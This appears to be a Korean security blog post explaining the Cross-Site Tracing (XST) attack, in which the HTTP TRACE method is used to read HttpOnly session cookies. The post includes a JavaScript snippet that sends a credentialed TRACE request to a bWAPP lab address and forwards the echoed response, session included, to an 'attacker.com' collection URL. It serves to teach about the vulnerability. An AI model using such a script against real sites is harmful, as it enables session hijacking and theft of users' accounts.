본문 바로가기

해킹-보안

XST(Cross-Site Tracing) - HTTP TRACE 메소드 취약점

반응형
TRACE 메소드란 루프백 테스트를 통해 통신 상 어느 지점에서 에러가 발생하였는지
디버깅하기 위한 용도로 사용된다.

TRACE 메소드를 사용하면 요청 값이 echo되어 그대로 응답 값으로 반환된다.
이때 응답 값에 세션과 같은 중요정보도 포함된 것을 확인할 수 있다.

HttpOnly가 적용된 쿠키는 자바스크립트에서 document.cookie를 통해 접근할 수 없어 세션 탈취를 방지할 수
있으나 이를 우회하여 TRACE 메소드를 통해 반환된 응답 패킷 내 세션 정보를 탈취하면 된다.

공격자는 세션을 탈취하는 스크립트를 작성하여 피해자가 열람하도록 유도한다.
 var xmlhttp;	
 xmlhttp=new XMLHttpRequest();
 
 xmlhttp.onreadystatechange=function()
 {	
 	if (xmlhttp.readyState==4 && xmlhttp.status==200)
 	{		
 		xmlResp=xmlhttp.responseText;
 		// 응답 패킷 정보를 공격자 서버로 전송
 		document.location="http://attacker.com:666/grab.cgi?"+xmlResp;
 	}
 }
 xmlhttp.open("TRACE","http://192.168.0.185/bWAPP/",true);
 xmlhttp.withCredentials = true; // 쿠키 값 공유 허용
 xmlhttp.send();


XST 취약점은 현재 최신 브라우저에서는 작동하지 않으며 브라우저의 보안 정책으로 인해 XHR을 통해
TRACE 메소드 실행이 불가해 발생률이 낮은 취약점에 속한다.
반응형